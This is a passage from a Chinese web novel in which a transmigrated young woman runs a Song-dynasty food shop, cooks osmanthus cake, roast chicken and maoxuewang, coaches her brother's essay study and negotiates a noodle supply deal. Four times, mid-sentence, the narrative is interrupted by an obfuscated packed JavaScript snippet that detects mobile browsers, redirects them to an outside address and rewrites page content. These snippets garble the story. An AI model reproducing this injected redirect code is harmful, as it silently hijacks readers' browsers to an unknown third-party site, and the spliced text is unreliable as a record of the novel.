将沥干水分的桂花混入米粉中，在蒸屉上铺一层湿布，将糕粉倒入，轻轻抹平后，用刀将糕体分块，再在蒸屉上盖上一层湿布，上锅蒸上一刻钟。 出锅后，揭开湿布，散去热气，香糯松软的广寒糕便做好了。 卢晓晓捡了四块广寒糕摆在盘中，每块糕点中心放上一小勺桂花蜜酱。雪白绵密，软糯香甜的糕体，小小的桂花在其中若隐若现，金黄透亮的桂花蜜酱更是增添了几份诱人。 卢二娘子几人尝了都说好，桂香浓郁，绵软香甜。卢晓晓也很满意，这广寒糕做得品相俱佳，想了想决定用这糕点送份人情。 48. 秘制烤鸡 九月十二，江宁府乡试放榜。 宋朝有榜下捉婿的习俗，在甲榜发榜之日，金榜题名之时，各地的富绅争相挑选登第士子做女婿。 这一风气影响甚为深远，下一层的商贾乡绅不能与之相争，便在乡试之榜上使劲，寻那中举之人作女婿，再下一层的小户人家当如何？自是在秀才中寻摸。 像卢晓晓这样，无钱又无势的，需得更早谋划，这广寒糕就是要送给卢三郎同窗的。倒也没有特地送给谁，只先留下个好印象，等到了婚嫁的年龄，再仔细物色。 卢晓晓想了想，在宋少爷定的吃食中也加了盘广寒糕和一小碟子的桂花蜜酱。 给宋少爷送，那就纯粹是为了铺子的生意了，宋少爷吃高兴了，来铺子定的吃食也才更多。 卢春芬下工回到家的时候，哥嫂似乎和好了，嫂子也没再提借钱的事。 等吃过饭，收拾灶房的时候，卢春芳小声地跟姐姐嘀咕道，“今日吃早食的时候，娘说了，两家既是断了往来，有什么事也不该找我们，不过，她也体谅嫂子为人儿女的孝心，嫂子若是自己能帮忙，她也不拦着。” “那后来呢？嫂子就没再说什么？”卢春芬好奇的问道。 卢春芳摇了摇头，道，“娘发话的时候，她倒没说什么，不过吃了饭，她把大哥拉回屋里了，过了好一会才出来，出来便往娘家去了，再回家就没事了。我猜呀，是把她和大哥的积蓄拿了回去。” “娘不说什么吗？”卢春芳猜到的事，卢大娘子自然也能猜到。 “娘说嫂子是大哥的媳妇，只要不动到家中的银钱，他们的事他们自个处理。感觉嫂子最近跟变了个人似的。”卢春芳日日在家里，对秀珠的变化是最清楚的。 卢春芬想了想，将卢二娘子和卢晓晓的话学了遍，又补充道，“我想娘家也不是那么容易割舍的吧，今后大哥就要为难了。” 姐妹两叹了叹，只觉得往后找婆家，定要找那厚道知礼的人家。 有秀珠这样不愿跟糟糕的原生家庭脱离的，也有那绝不姑息娘家坏心思的。 下午的时候，正在招呼客人的赵杏花见到不远处的巷子口有个熟悉的身影，等店里人不多的时候，跟卢二娘子说了声，赶紧跟了出去。 走出巷子口果然看到了她娘，开口道，“娘，你今日来有什么事？”赵杏花问道。 “杏花，这店里一天能挣不少钱吧，我看铺子里都坐的满满当当的，没一会儿，就换了好几波人。”杏花娘惊叹道。 “我不知道，我不管收银钱，只管在铺子里招呼客人，娘你有什么事就说吧，我还要回去忙呢！”赵杏花回道。 “你着啥急，我看你婆婆待你挺好的，不然你去跟她说一说，让你管收钱？你好歹是卢家的大儿媳妇，以后这铺子迟早是你的。”杏花娘盘算起来。 “娘，我挺喜欢在铺子里招呼客人的，再说了，这铺子是爹娘的，是晓晓的，不是我和大郎的。”赵杏花直言道。 “你那小姑子，迟早要嫁人的，那就是外人了，趁早跟你婆婆说，让她把这铺子攒在手里。等你把他们家长孙生出来，这铺子不就是你们的了。”杏花娘拉着女儿的手，小声地说道。 接着又苦口婆心地劝道，“你管不了收钱，那就去管吃食档口，学一两样招牌菜，回头呀，教教娘。你放心，娘也不与食坊争生意，就在咱村做做席面，挣点小钱。你要知道，咱家好过了，你才有依仗。” 赵杏花使暗劲把手抽了出来，道，“娘说的话好没道理，一会说这嫁出去了就是外人了，一会有说娘家才是女儿的依仗，我看您就想让我把婆家的东西偷回娘家吧！娘你也是这么做的吗？我奶和我爹知道吗？” “胡说八道，我可从没拿过咱家一针一线回娘家！”杏花娘下意识地反驳道。 许是赵杏花把奶奶搬出来，刺激了杏花娘的神经，杏花娘说话声徒然大了起来，往来的行人不住地看向两人。 杏花娘反应过来，把赵杏花拽到巷子里，上前伸手拧起赵杏花腰间的嫩肉来，一边拧一边小声骂道，“我看你这个死妮子，反了天不成，竟敢跟我犟嘴。你爹说卖你，我就不该帮你，我养你这么大，你这嫁出去翅膀就硬了，还敢编排起我了！” 赵杏花躲闪着回嘴道，“您那是帮我吗？那是你俩嫌牙婆给的价低，想要再抬价，当年有人来提亲，你俩就嫌人给的少，不过我也要谢谢你们，要不然我也遇不着大郎。” 赵杏花索性撕破脸了。杏花娘这才意识到，赵杏花之前答应说拿婆家的钱回家，都是敷衍他们的。 “我就说养女儿都是赔钱货，你这死丫头没出门就顾着婆家，哄得我跟你爹只要了一点聘礼钱，如今是翻脸不认账，半点都不顾着娘家了。” “亲家婶子、嫂子，你们在那干嘛呢？怎么不进铺子坐？”卢晓晓在铺子门口唤道。 卢二娘子见赵杏花好一会都没回来，便让卢晓晓出去看看。 “晓晓啊，我跟你嫂子说点事，怕耽误你们生意了，就没过去。”杏花娘快速地收了凶样，挤出笑脸回话道。 “婶子呀，话说完了吗？有事来铺子里说呗！”卢晓晓道。 “没事，我们说完了，我娘正要回去呢！”赵杏花接话道。 “说完了我就不留您啦！我们铺子里可忙了，离不得嫂子！您回家路也远，我就不留您了，别耽误了您回家做晚食，回头咱叔该说我不懂事了。” 杏花娘一噎，刚开口想要说些什么。 只听赵杏花接着说，“娘，那我回铺子了，您也回去忙吧。”说罢是转头就走。 两姑嫂转身的干脆，把杏花娘气到不行，却也说不出什么，回去就把赵桃花骂了一通，却还是觉得不解气。 等赵二叔上门问能不能去找侄女帮忙，请卢记食坊给张罗一桌席的时候，杏花娘那更是一通劈头盖脸地骂，又是骂赵杏花没良心的，看不上他们这穷酸的娘家亲戚了，又是骂卢晓晓小丫头片子，做的吃食根本上不得台面。 赵二叔被这一通骂，悻悻地回了家，赵二婶见了，道，“我就跟你说了，找他们没用！你就该直接去镇上找杏花。” “能行吗?这冒冒然地上门，会不会惹人嫌?要不还是算了?”赵二叔犹豫道。 “这有什么的，上回去送亲，我看杏花的婆家可和气了，问一问又不碍什么，要是不便在铺子里做席，看能不能做些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341087|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜送到码头上。” 赵二婶一边说一边从柜子里拿出五吊钱，想了想又加了两吊钱递给赵二叔，道，“这钱不能省，这机会可是你用命换来的，可得把握住了”。 两人又说了好一会儿的话。 又说宋家，宋少爷今日请了同窗来家中小聚，早早就在卢记食坊定了吃食。 这乡试放榜除了举人名录，前十名考生的试卷也会列榜在外，试卷上还圈批出了优劣之处。 各县镇的学子着急看到中举答卷，便有了抄录榜上答卷买卖的生意。宋少爷今日请同窗到家中，就是与大家一道共享学习从府城里买回的答卷。 “这文章写得太好了，句句言而有物，掷地有声，论据层层递进，末尾再点睛升华，实在是太妙了，我等真是望尘莫及。”一同窗道。 “你们再看红批的这几句，这遣词，这造句，堪称典范，写得真是好！”又一同窗道。 “我们几个连个秀才功名都没有，就别在这品评了，不如听听默苏兄的。”宋连玉道。 “我也说不出什么，只觉得这些文章写得好极了。既然官府把前十名的答卷粘贴出来供大家学习，不如我们把这些答卷里的好词好句好段誊抄出来，再将其分门别类，之后再有针对性的学习，想必会事半功倍。”段默苏提议道。 “这主意好，默苏不亏是我们之间最早考上秀才的，果然是学习有方。”同窗赞成道。 等宋家小哥把吃食取回，几人仍在研读卷子。“少爷，吃食取回来了，今日新做了道烤鸡，趁热吃着香。”宋家小哥提醒道。 宋连玉遂请同窗移步膳厅吃饭，几人还欲继续，段默苏开口劝道，“读书是长久之功，不急于一时，不若咱先去吃饭，也不辜负了连玉的一番好意。” 这才把人从书房请了出来。 本以为会食之无味的几人，到了膳厅，见桌上摆了一桌子的菜，其间还有只金黄诱人的烤鸡，瞬间觉得饥肠辘辘。 这烤鸡是卢记食坊还未外售的新品，精选一斤多重的三月龄生鸡，宰杀去毛后，先经开水烫皮，烫至色泽微黄，表皮紧致。 然后用糖、盐、酱油、葱姜汁、料酒，佐以香料调制成酱汁，整鸡浸入，腌制上一宿，让料汁深入鸡肉的皮与肉，最后在烤炉中用果木烤制两刻钟，出炉的烤鸡皮薄香脆，咸香鲜美，嫩滑多汁。 段默苏尝了一口，只觉得这鸡肉外焦里嫩，表皮金黄酥脆，内里鲜嫩多汁，好味极了。 “这烤鸡是卢记食坊新推出的菜品?前几日我去吃还不见有。”有一爱吃的同窗问道。 “正是，家中长辈喜欢卢记的菜，这卢记的小娘子常做些新鲜吃食送过来。”宋连玉答道。 “还是宋兄好，时常能吃到这卢记食坊的新品。”一同窗道出了段默苏的心声。 “卢记小娘子说要在后院加一雅阁，往后呀，这新品都能在铺子里吃到了。”宋连玉透露道。 “这太好了，镇上再没有比卢记食坊味更好又便宜的吃食铺子了，若是能有雅阁，咱往后也多了一个去处。” 几人吃得痛快极了，等吃完饭，丫鬟把加了桂花蜜酱的广寒糕端上来后，几人更是满意了。 49. 鰇鱼 几人是吃得不亦乐乎，直吃到戌时过半才散了。 往日卢家人忙活了一天，此时一家人就围坐在一起盘账、说话，今日有些许不同，只见卢晓晓一人在说，其他人或认真听，或开口附和，卢三郎听得尤其认真。仔细一听，竟是卢晓晓在教卢三郎如何做文章。 原是今日下午，明微学堂的孔夫子拿来了今次乡试前十名学子答卷的抄录本，让学堂里的学子誊抄学习。 卢三郎将誊抄的文章带回了家，卢晓晓见了好生新奇，没想到这宋朝还有优秀范文一说，看了几篇，觉得这策论有些像现代的议论文，只是论的问题更尖锐，更深刻。 卢晓晓是经历过应试教育的，现代的学习方法凝聚了几千年的智慧，很有一些技巧性的方式方法，可如何说与卢三郎听，又不惹人疑，这就要好好想想了。 等几人吃过晚食坐在一处说话的时候，卢晓晓先是说道，“如今铺面的流水稳定下来了，二哥做的菜也是越来越好，等二哥把档口的吃食都接手了，咱就把雅阁开起来，这流水呀，指不定能翻番呢。” 几人听了喜不自胜，卢二郎着急道，“晓晓，你这几日再好好看看我做的菜有哪些不足，我再好好练练，咱争取这几日就把雅阁开起来。” “二哥，心急吃不了热豆腐，你学做菜不足一个月，有这样的水平很是不错了。这做菜跟做学问似的，基础打好了，才能做得好，现如今咱已经走了捷径，你问问三郎，他学做文章可学得这样快?”卢晓晓状似无意地说道。 “对，我听说人家那大酒楼里的学徒，学几年都还只是做着备菜的活，能学一两个小菜已是不错，大菜是瞧都不让瞧的。”卢大贵道。如今他在外头采买，认识了不少人。 “可不，这做菜的功夫，我琢磨了好几年呢，二哥，可要好好谢我。”卢晓晓得意道。 卢二郎站起身，学着戏文里的学徒向卢晓晓作了个揖，道，“徒儿谢过师父的教诲，日后定当好好练习，谨记师父的恩情。” 卢晓晓板着脸站起身，一手虚抚不存在的胡子，另一手背在身后道，“乖徒儿，日后你当好好练习，不可辜负我们卢门的手艺。往后就照着师父教的法子练习，触类旁通，定能早日成为这城关镇的名厨。” 兄妹两这一出，让几人乐不可支。 卢三郎若有所思，开口道，“我听姐姐说，这做菜跟做学问似的，二哥学得快是掌握了技巧，不若姐姐也教教我。” “二哥如今学的是速成的法子，只能做几个固定的菜，真要做好，还得打磨基本功。不过这些年琢磨做吃食也琢磨出了一些方法，说的未必对，你听一听，看看能不能用上，这做学问的事呀，还要你自己斟酌。” “这做菜分为三大块，首先是烹调方式，有煎、炒、炖、炸、蒸、煮多种方式，要做好一道菜，首先就要掌握各种烹饪方式，只有熟练地掌握了，做出来的菜才不会错。就像文章的结构，只有结构搭好了，这行文才能流畅完整。” “接着是食材，不同食材有不同的味道和不同的口感，料理的方式也不同，那就必须清楚的知道各种食材的特点，这样在菜品中才能很好地进行搭配。古人说不时不食，这食材还要考虑应时令，按季节。我想啊，这食材就好比文章的论点、论据，必须积累大量的素材，等到用的时候才能信手拈来，文如泉涌。” “最后是调味，调味虽排在最后，但却是最最重要的，决定了菜品的香气和味道，是激起人们食欲的关键，这就对应了做文章遣词造句的功底。” “把这三块的基础打好了，不管什么菜，都能做得好，哪怕只是尝了尝菜的味道，也能做得大差不差的。”卢晓晓努力地将现代作文技巧融入到做菜中。 “我知道了，平日里我要好好练习行文结构，积累文章素材，提高文字功底，以后不管遇到什么样的题目，我都能有得写，写得好。”卢三郎琢磨后开口道。 “嗯，这乡试榜上发布的前十名答卷就是最好的学习素材，你可以先根据主题进行分类，再逐一分析文章结构，然后提炼其论点论据，再将文章的好词好句抄录到一起，时常诵读，或许能取得不错的效果。”卢晓晓出主意道。 “这十篇的数量还是太少了，我明日找夫子再要些往年答卷的抄本。”卢三郎如获至宝地说道。 卢晓晓和卢三郎不知道，这套学习方法支撑着卢三郎一路从城关镇到了东京城，直到卢三郎垂垂老矣，仍是受益良多。 如今卢三郎还只是想着如何分类归纳那十篇范文，兴奋地翻来覆去大半宿才睡着，要不是卢晓晓不让他晚上读书，怕伤了眼睛，他恨不得连夜就将十篇文章整理出来。 第二天一大早，卢三郎没等铺子开门，在厨房里拿了张冷饼子就去了学堂，几人如常地开铺做生意。 赵杏花正在后厨吃饭的时候，赵二叔拎着一只桶过来了，也不进铺子，只站在门口向铺子里张望。 卢春芬见一着深色粗布衣服的大叔在不远处张望却不进来，招呼道，“大叔，可是要进来吃食?我们铺子的吃食味道好，价格实惠，人人都夸好呢！” “杏花在吗?我是她二叔，来寻她的。”赵二叔局促地说道。 “原来是杏花二叔呀，杏花在后厨吃早食呢，一会就出来了，您快进来坐。”卢二娘子从档口出来招呼道。 “我在这等等，身上脏，就不进去了。”赵二叔推辞。 说话间，赵杏花掀帘子从后院出来走到赵二叔跟前，道，“二叔怎么来了?可是有事?” 卢二娘子见赵杏花来了，又回了档口里。 “二叔来是有一事想托你，我想置办桌席面，明日请码头上的管事吃饭，钱不多，只有七吊钱，还要买些酒水，想让你帮忙问问能不能置办出来?”赵二叔一边搓手一边道。 “二叔怎么突然要请管事吃饭了?可是出了什么事?”赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14348196|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏花问道。这赵二叔往日里最是老实，从来不会做这些钻营的事，在码头干脚夫干了十几年，也没听说跟管事有什么往来。 “前几日我在码头上救了一落水的小孩，没想到这竟是东家的小少爷，东家便让管事的让我做个监工，你二婶让我请码头上的管事吃顿饭，说些好话，请他提点一二。” 这码头上监工的活也分好坏，有管那规矩之人的，也有管那无赖之人的，监工之间也分高低，像赵二叔这样老实的性子，若是不得人指点，这监工的活计指不定就成了大祸。 “二叔，我去问问，你先跟我进来吧！这桶里是什么呀?”赵杏花说着就要去帮赵二叔拎桶。 被赵二叔拦住了，“我自己来，别脏了你的衣服了，船夫说，这是鰇鱼，是一个船主抵给我的工钱，听说可好吃了，我想着拿来看看能不能做道吃食。” 赵杏花把赵二叔请进了铺子坐下，给倒了水，才去后院找卢晓晓说了说赵二叔的事。 接着帮说道，“晓晓，我这二叔最是老实了，在码头做了十几年的脚夫，没出过岔子，对这码头上的事最是清楚了。我想着，他若是在码头上顺利当上监工，咱铺子往后买海鲜也方便多了。” 卢晓晓听了，跟着赵杏花从后厨来到前铺，见角落里坐着一个皮肤黝黑的大叔，深秋了，还穿着短打的深色粗布衣衫，见两人过来，忙站起身来。 “赵二叔，您快坐，嫂子跟我说了您的需求，咱要请客吃酒，这酒可不能太差，这一壶怎么也要五百钱，剩下的两百文钱，给您做一条鱼、半只鸡、一碗肉，再加上一碗鸭血粉丝汤，您看可成?” “成、成、成，没想到还能做这样多的菜，我带了小半桶鰇鱼过来，你看铺子里能不能用得着。” 卢晓晓一看，竟是一小桶的鱿鱼，很是惊喜，仔细看了看，只见这鱿鱼略有些发白，又拿起来闻了闻，没有什么异味，还算新鲜，道，“这鰇鱼死了一段时间，应是等不到明日再做了，明日把那半只鸡换成一只烤鸭，鸭血粉丝汤换成鲜虾粉丝煲，抵这鰇鱼可好?” “好、好、好，不加菜都行，这鰇鱼本就是拿来送给你们的，我们见都没见过，拿回家也不会做。这事定了，我就先回去了，码头上忙着呐！”赵二叔忙不迭地说道。 “赵二叔且等等，我这就去把鰇鱼倒出来。”卢晓晓把桶拎回了后厨。 等卢晓晓把桶拿出来，赵二叔就准备走了，卢二娘子包了好几样吃食，递到赵杏花手里，道，“杏花，去送送你二叔，把这些吃食带上，走这老远路来一趟，合该吃了饭再走的，竟是这样匆忙！” “娘，晓晓，那我一会儿就回来。”赵杏花接过吃食，跟几人打了招呼，把赵二叔送出了巷子。 卢晓晓在铺子里招呼客人，等赵杏花送人回来，才喜滋滋地回了后厨。 这鱿鱼可是好食材，正好今日卢春芬带来了第一茬的辣椒，今天可是有好吃的了。 50. 毛血旺 回到后厨，卢二郎正蹲在木盆前看鱿鱼，见卢晓晓回来，问道，“晓晓，这软趴趴的是什么东西?” “这叫鱿鱼，肉质鲜嫩，柔而细腻，可有营养了。二哥一会你去买一斤猪肉，一条鳝鱼，半斤黄豆芽，再去集市看看有没有卖牛肉的，若是有，就将那牛胃买回来，咱午食吃毛血旺，正好试试种出来的辣椒。”卢晓晓一想到麻辣爽口的毛血旺，口水都要流出来了。 “我这就去。”听到有好吃的，卢二郎可积极了，立马就跑了出去。 卢晓晓则开始处理鱿鱼，先将鱿鱼表面的杂质和泥沙清洗干净，再将头身分离，用手将鱿鱼的墨袋和内脏去除，从切口处摸出鱿鱼的软骨，一手压住尾巴，一手慢慢地将软骨拽出，然后将鱿鱼须的嘴部去除，再慢慢扯掉鱿鱼皮，最后将鱿鱼筒切成鱿鱼圈。 然后取两碗鸭血、两副鸭肠，鸭血切片，鸭肠用草木灰反复搓洗，清洗干净后切段，盛于碗中，加入凉水，保持鸭肠爽脆的口感。 起火烧开一锅水，将切好的鸭血、鱿鱼圈倒入锅中，加入葱、姜、少量料酒去腥，焯水后放置一旁。避免海鲜腐败最好的办法就是高温杀菌。 处理完这些，卢二郎就回来了，带回了猪肉、黄鳝和黄豆芽。先将猪肉洗净后切片，然后将黄鳝宰杀后切段，继续烧开一锅水，将黄鳝段焯水去腥。 毛血旺汤底的味道是关键，起火热锅，倒入菜油，等油开始冒热气，将准备好的辣椒、花椒、姜、蒜放入锅中，小火翻炒，炒出香味后，加入适量水，大火烧开后，小火熬制，再放入味精、白糖、醋等调料。 汤底熬制好了，便开始下菜，这毛血旺跟粥底火锅一样，也讲究下菜的顺序，将黄豆芽下入锅中煮至断生，然后捞出铺在碗底。接着把准备好的猪肉、鸭血片、黄鳝段、鱿鱼圈和鸭肠依次放入锅中，大火煮开后转小火煮上半刻钟，让食材充分吸收汤底的味道，便可起锅了。最后将煮好的食材倒入铺有黄豆芽的碗中，一碗香喷喷、热腾腾香辣爽口的毛血旺就做好了。 等到了轮流吃午食的时间，一人盛了碗毛血旺就着饼吃，毛血旺麻辣鲜香、汁浓味足。这是几人第一次吃辣椒，不同往日的辛辣刺激，叫人吃起来欲罢不能。 这毛血旺吃完之后，衣衫都粘上了香辣浓郁的味道，有那嗅觉敏感的老客道，“卢娘子，小掌柜又做什么好吃的了，这也太香了！可有卖的?” “自家随便煮的杂碎，做得不多，倒是不好端出来卖了。”卢二娘子笑着回道。 “你们这也太不厚道了，自己吃着一身香味来馋我们，却还没有卖的，大家伙说是不是?”这人起哄道。 “我们铺子过几日就要开雅阁了，这几日正在试菜试味道，等大家伙再过几日来，能吃到不少新菜呢！”卢二娘子借机推销起铺子的雅阁来。 卢晓晓和卢二郎等卢三郎回来才吃的午食。 “晓晓，这毛血旺也太香了，可惜今日没买到你说的牛胃，不然肯定更好吃，这菜咱铺子能卖吗?”卢二郎感叹道。这菜色香味俱全，若是在铺子里卖，定会买的好。 “这可不好说，这菜用的多是杂碎，又费辣椒，雅阁的客人不会点，散座的客人吃不起，而且这鱿鱼是可遇不可求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14348197|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，咱自家吃就行了。”卢晓晓道。 “那我可真是有福气，有这样能干的姐姐，总能吃到各种新鲜的吃食。今日我跟几个学堂里的好友分享了姐姐昨日说的学习方法，大家都觉得好，我们三还成立了个学习组，往后呀，一起学习，一起分享。”卢三郎满足道。 “三郎的好友都是什么人呀?”卢晓晓问道，孩子在外头的社交还是有必要了解的。 “一人就是咱铺子开业的时候来过咱这的方卓言，他在我们学堂里学问可好了，还是段默苏的表兄。” “还有一人是个叫孔令德，是夫子的侄子，只比我大上两岁，虽然孔夫子很少夸他，但我觉得他的学问能在我们学堂里排入前五，方兄也喜欢与他探讨学问。”卢三郎将他的好友细细数来。 “三郎，你是如何与这样优秀的两人做成朋友的?”卢二郎好奇道。 “姐姐说，要多与人学习探讨，我寻到机会就去问他们，一来二去便熟悉了，他们觉得我也不错，就成了好友。”卢三郎不好意思道。 “你不与子柏哥他们一道玩了?”卢晓晓突然想到，这到了一个新团体里，往往意味着与旧团体割裂，很少有丝滑过渡的。 “也还是一块玩的，子柏哥他志不在科举，对读书做学问的志趣不大，他们几人喜欢吃，常托我买了铺子里的吃食带过去，我赚了不少帮闲的钱了。” “你做同窗的生意，可有人会笑话你?”这读书人中可有的是势利之人。 “有几人笑话我的，都被子柏兄几人骂了回去。不过我也不在乎，我凭劳动得钱，有什么可笑的。” 51. 第 51 章 行商姓胡，是胡记商行的二老爷，此次是第一次出来贩货，跟着货船，一路上是吃也不好，睡也不好。 原本在这城关镇卸货后，就要连夜回江宁府去了，可胡二老爷实在是受不住了，决心要在城关镇上歇上一日。 胡大老爷怕弟弟在贩货途中出了岔子，此次派出的管事是家中的老管事，说话比胡二老爷还管用。 胡二老爷在船上听人说卢记食坊的粉丝别处都没有，借口说要去看看这粉丝能不能在胡记商行中售卖，这才说动了老管事在城关镇上停留一日。 胡二老爷是快晚食的时候到的卢记食坊，一道来的还有老管事和一账房先生，三人进门坐下后，赵杏花便上前倒水，见几人是第一次来，开口介绍店中的吃食。 “除了快餐档口里的几样菜，还有什么吃食?我听说你们这有种晶莹剔透的吃食，叫做粉丝，吃起来很是爽滑可口，今日可有卖的?”胡二老爷问道。 “客官，今日可单点的特色菜有酸菜鱼、干锅兔，您若想要吃粉丝，可以试试咱这的鲜虾粉丝煲或是鸭血粉丝汤，都卖的可好了。” “那便都上一份吧！再要只烤鸭。”胡二老爷大手一挥，吩咐道。 “二老爷，咱出来花费一餐饭可不能多于二两银子。”老管事连忙劝阻道。 “这位客官，刚才点的那些，一两银子便够了，用不着二两银子。”赵杏花解释。 这样的小店，这样低廉的价格，想来味道也不如何。见二老爷一副兴致勃勃的模样，老管事只求二老爷吃了后，别闹了就好。 老管事还不知道胡二老爷在码头上便尝过卢记食坊的吃食了，只求顺顺利利地把二老爷带回家中。 不一会儿，卢二郎把烤鸭端上来了，一起端上来的还有一攒盒，上面放着荷叶饼、甜面酱和一些配菜。 如今，卢二郎片鸭的手艺已很是娴熟，从鸭胸开始，片刻便能将一只烤鸭的骨肉分离。 盘子里的烤鸭一层叠一层的码在一起，薄厚均匀，片片连皮带肉，红亮的鸭皮油亮诱人。 赵杏花端上三条热帕子，让三人擦了擦手，又细细说了吃法，这才退了下去，周到的服务让老管事很是诧异。 胡二老爷在家让人服侍惯了，到不觉得这服务有什么特别的。倒是这要自己动手的吃食，很是新奇，兴致勃勃地动起手来。 酥脆的鸭皮，鲜嫩多汁的鸭肉，加上咸甜适中的甜面酱和爽口的瓜果，一道裹入饼中，再一起吃入嘴里，让人大获满足。 等一碗碗色香味俱全的菜端上来的时候，胡二老爷三人已经完全被折服了，没想到这小小城关镇的一家小铺子竟有这样的手艺。 “小娘子，这粉丝是用何物做成的?”老管事问道。 “客官，这粉丝是我们食坊的招牌，只我们有卖的，您若是喜欢，不若买些干粉丝回去。” “呵，老朽糊涂了，不知小娘子可否将掌柜的请来，我们想与他谈一桩生意。”老管事听说这粉丝还有干制的，越发地觉得这生意能成。 不一会儿，卢晓晓来了，笑着道，“几位客官吃得可好?听说客官有桩生意要谈，这铺子的事跟我谈就行了。” “你这小丫头就是掌柜的?”胡二老爷惊讶道。 “算不得掌柜的，小女厨艺尚可，与家人一道开了这间铺子，做得了一些主。” “小小年龄就有这样的手艺，前途真是不可限量。”老管事感叹道，接着道明了来意。 原来这胡记商行主要是通过大宗采买各地的特产，然后将其放到商行下面的各个店铺零售，赚取中间差价。 老管事要谈的便是将卢记食坊的粉丝放到商行里售卖。 卢晓晓一听，有喜有忧，喜的是这粉丝有了销路，往后大家就多了一项源源不断的进账，忧的是与商行合作，如今的产量就不足了，只要加人工，粉丝的做法就容易泄了出去。 不管怎样，有销路定是好的，虽说没有做好准备，可人生在世，哪能事事都有准备? “此处嘈杂，三位客官不如里面说话?”卢晓晓将人请到了堂屋。 落座后，几人互道了称呼，卢二娘子端了茶过来，这才说起了正事。 “胡管事，不知道跟贵商行合作是怎么个方式?” “胡记商行里卖的货物分两种，一种是寄放到商行里卖的货物，一种是商行买过来后自行卖的货物。” “第一种商行抽取售价的两成作利，供货人需管货物的周转运输，委托给我们商行也可。第二种供货人只需将货品卖给我们，剩下的运输和售卖都是商行的事了。”老管事解释道。 “这第二种方式的拿货价格是不是要低一些?” “这是自然，商行也要根据货品的价值和稀缺性定价，就拿这粉丝来说，若是只有你们一家供货，价格自然就高些，若是有好几家供货，价格那就低不少了。” “敢问胡管事，如果粉丝拿到胡记商行卖，商行每月能吃下多少货?” “若是这粉丝如小娘子说的能久放，价格又合适，每月至少能要五千斤，而这只是江南东路的。” “这样大的量，我们还需商议一二，您那边也需要评估，不若下次来的时候，我们再详谈。” “那好，下月中旬，我们还会再来城关镇，届时再议。” “对对对，下个月我们还来。”胡二老爷终于附和上了一句话。 胡二老爷三人离开的时候，带上了几斤干粉丝，又带了好些吃食。 三人一走，卢晓晓就赶紧找了准备回村的卢春芬，“春芬姐，明日请伯伯、伯娘来镇里一趟，刚才那三人是胡记商行的，想要做这粉丝的买卖生意，请他们过来，我们自己先商量出个章程。” 卢春芬高兴极了，一回家就与家人说了这个消息，卢大富几人也很是高兴。秀珠听了，耳朵一动，脸上挤出了个笑，心中不知在想些什么。 第二日，卢大富夫妇俩跟着卢春芬一大早到了镇上。到的时候，正赶上吃早食的时候，卢晓晓请两人在铺子里坐了坐，又给端了两碗馄饨。 两人满心都是粉丝买卖的事情，囫囵把馄饨吃了个光，就在铺子里着急地等着卢晓晓。赵杏花见了，把两人请到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411261|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了堂屋，又给端了茶。 两人在堂屋坐了不一会儿，卢大贵采买回来了，把肉菜交给卢二郎，大步地走了过来，道，“二哥、二嫂来了，中午在这好好尝尝晓晓的手艺，等吃过午食我再送你们回村里。” “大贵，你快坐，你可知道卖粉丝的事?不如你先跟我们说说。”卢大富心急道。 “细节我是不大清楚的，昨日惠娘跟我说的，是胡记商行的二老爷和老管事看上了咱家做的粉丝，想要放到商行里卖。”卢大贵道。 “你可知道晓晓叫我们来何事?”这事的前因卢大富已经知道了，他还知道只他们一家做粉丝是供应不上商行的量的，只是不知道侄女把他们叫来是想怎么做。 好在卢晓晓没让两人久等，不一会儿就跟卢二娘子一道过来了。 见到人来了，卢大娘子迎了上去，道，“惠娘、晓晓，卖粉丝的事情怎么说?” “嫂子快坐，这事晓晓已有些想法，今日就是想问问您两的意见，咱们坐着说。”卢二娘子把人拉到座位上坐下。 几人纷纷落座，卢大贵和卢二娘子坐在堂屋正中的主座上，卢大富夫妇坐东边，卢晓晓坐西边，相对而坐。 